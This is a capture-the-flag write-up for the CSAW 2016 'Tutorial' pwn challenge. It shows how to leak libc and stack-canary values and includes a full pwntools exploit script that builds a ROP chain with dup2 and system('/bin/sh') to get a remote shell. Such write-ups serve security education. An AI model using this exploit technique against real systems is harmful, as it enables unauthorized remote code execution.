The force is with those who read the source.

CSAW CTF 2016: Tutorial (pwn 200)

2016-09-29

Description

Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.
nc pwn.chal.csaw.io 8002
tutorial libc-2.19.so

TL;DR

Exploit

The direct execution of tutorial will crash. So, I inspect the binary with IDA Pro and found that this is a TCP server which requires a port number as the argument and a user call tutorial exists in the system. After slightly patching the program and providing the port number, I can run the program on my computer. Connecting to the server, it displays three options.

-Tutorial-
1.Manual
2.Practice
3.Quit
>

The first option 1.Manual prints an address Reference:0x7fad235d3860, which is the address of puts - 1280. Together with the provided libc-2.19.so, it allows us to caculate the address of other functions in the libc.

The second option 2.Practice asks us to input our exploit. Sending some random input, it seems to echo our input with some extra binary data in the end.

>2
Time to test your exploit...
>abc
abc
��g�]�p�g/�-

It turns out that these binary data are stack canary and part of the rbp. With the knowledge of stack canary and the address of functions in libc, now we can make use of the stack buffer overflow vulnerability of option 2 to conduct the ROP attack.

Notice that the server interacts with us via socket instead of standard input output. We can’t merely invoke the system("/bin/sh"), which opens a shell only on the server side. The most common solution is using dup2 to duplicate the file descriptor of socket connection to standard input and output before calling system. There are three ways to find out the file descriptor of the connection:

  1. Educated guess. Functions usually return the lowest possible file descriptor. Standard input, output, and error are 0, 1, and 2 respectively. socket may return 3. Then accept is likely to return 4.
  2. Leak stack buffer. Since we can leak the lower four bytes of rbp, we can easily guess the address of stack and leak the file descriptor stored in it.
  3. ls -l /proc/<pid>/fd. Execute the program locally and inspect what file descriptors are being used.

The script is as follows.

tutorial_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from time import sleep

# ROP gadget
pop_rsi_r15 = 0x4012e1
pop_rdi = 0x4012e3

puts_base = 0x6fd60
system_base = 0x46590
bin_sh_base = 0x17c8c3
dup2_base = 0xebe90

r = remote('pwn.chal.csaw.io', 8002)

# leak libc address
print r.recvuntil('>')
r.sendline('1')
line = r.recvline()[:-1]
print line
puts_addr = int(line[-14:], 16) + 1280
libc_addr = puts_addr - puts_base
system_addr = libc_addr + system_base
bin_sh_addr = libc_addr + bin_sh_base
dup2_addr = libc_addr + dup2_base

# leak canary
print r.recvuntil('>')
r.sendline('2')
print r.recvuntil('>')
r.send(' ')
sleep(0.2)
data = r.recv()
canary = data[-12:-4]
print repr(data)

# ROP payload
print r.recvuntil('>')
r.sendline('2')
print r.recvuntil('>')
payload = 'A'*312 + canary + 'A'*8
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(0) + 'A'*8 + p64(dup2_addr) # dup2(4, 0)
payload += p64(pop_rdi) + p64(4) + p64(pop_rsi_r15) + p64(1) + 'A'*8 + p64(dup2_addr) # dup2(4, 1)
payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr) # system("/bin/sh")
r.send(payload)

r.interactive()

Flag: FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM}

Note


Blog comments powered by Disqus